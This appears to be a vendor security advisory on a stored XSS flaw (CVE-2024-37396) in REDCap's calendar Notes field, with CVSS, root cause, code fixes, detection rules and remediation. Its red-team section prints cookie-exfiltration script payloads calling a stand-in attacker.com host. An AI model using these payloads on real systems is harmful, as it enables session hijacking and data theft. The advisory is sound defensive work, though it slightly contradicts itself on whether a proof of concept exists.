CVE-2024-37396

Executive Summary

CVE-2024-37396 is a stored cross-site scripting (XSS) vulnerability in the Calendar function of REDCap, a widely used electronic data capture (EDC) platform for clinical research. An authenticated attacker can inject arbitrary web scripts or HTML into the 'Notes' field of a calendar event. When a victim views the event, the malicious payload executes in the context of their browser session, potentially leading to data theft, session hijacking, or further compromise of the REDCap instance. The vulnerability affects REDCap versions prior to 14.2.1. The CVSS score is 0.0 in the NVD data, but based on the description and typical XSS scoring, a more realistic vector is provided above. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

REDCap is a PHP-based web application, not distributed via NPM, PyPI, Go, or Ruby. The vulnerability is in the core application code, not a third-party package. However, organizations should verify the integrity of their REDCap installation and ensure they are using official sources.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid REDCap account (authenticated user).
• User Interaction (UI): Required – The victim must view the malicious calendar event.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the potential for data theft and lateral movement within the REDCap environment is significant.

Deep Dive & Mechanics

The vulnerability resides in the Calendar module of REDCap. The 'Notes' field, intended for free-text descriptions of calendar events, does not properly sanitize user input before storing it in the database. When the event is rendered in a victim's browser, the stored payload is executed as HTML/JavaScript.

Root Cause: Lack of output encoding or sanitization of the 'Notes' field when displayed. The application likely uses echo or similar PHP functions without applying htmlspecialchars() or a similar escaping mechanism.

Attack Flow:

1. Attacker logs into REDCap with a valid account.
2. Attacker creates a new calendar event or edits an existing one.
3. In the 'Notes' field, the attacker injects a malicious payload, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. Victim (another authenticated user) navigates to the calendar and views the event.
6. The browser renders the payload, executing the attacker's script.
7. The script can steal session cookies, redirect to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap < 14.2.1):

// In calendar event display function
echo "<div class='notes'>" . $event['notes'] . "</div>";

The $event['notes'] value is output directly without sanitization.

Patched Code (REDCap >= 14.2.1):

// In calendar event display function
echo "<div class='notes'>" . htmlspecialchars($event['notes'], ENT_QUOTES, 'UTF-8') . "</div>";

The htmlspecialchars() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A REDCap instance (version < 14.2.1) with a valid user account.
• Access to the Calendar module.

Steps:

1. Log in to REDCap.
2. Navigate to the Calendar module.
3. Click "Add New Event" or edit an existing event.
4. In the "Notes" field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the event.
6. Wait for a victim to view the event. The script will execute and exfiltrate their session cookie.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual calendar event creation or modification, especially from low-privileged accounts.
• Look for suspicious patterns in the 'Notes' field, such as <script>, onerror, or javascript:.
• Use web application firewall (WAF) rules to block common XSS payloads.

Hunting:

• Query database logs for entries containing HTML tags in the notes column of the calendar table.
• Review web server logs for requests to the calendar endpoint with unusual parameters.

Prevention:

• Apply the patch by upgrading to REDCap 14.2.1 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from REDCap server.
• Logs: Calendar event entries containing <script>, <img>, <iframe>, or other HTML tags in the 'Notes' field.
• File System: No specific file-based IOCs; the payload is stored in the database.
• Registry: Not applicable (web application).

Detection Engineering

YARA Rule

rule detect_redcap_xss_cve_2024_37396 {
    meta:
        description = "Detects stored XSS payloads in REDCap calendar notes"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-37396"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_payload = /<[^>]+on\w+\s*=/is
    condition:
        $xss_payload or $event_payload
}

Sigma Rule

title: REDCap Stored XSS in Calendar Notes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in REDCap calendar event notes
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: redcap
detection:
    selection:
        EventType: 'Calendar'
        Notes|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"REDCap Stored XSS Exfiltration Attempt"; flow:to_server,established; content:"/steal?cookie="; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade REDCap to version 14.2.1 or later.
• If upgrade is not possible, manually apply input sanitization to the 'Notes' field in the Calendar module.

Long-term:

• Implement a Content Security Policy (CSP) to restrict inline scripts.
• Conduct regular security audits and penetration testing.
• Train users to recognize and report suspicious calendar events.

Workaround:

• Disable the Calendar module if not essential.
• Restrict calendar event creation to trusted users only.

Valters IT
Securing Digital Frontiers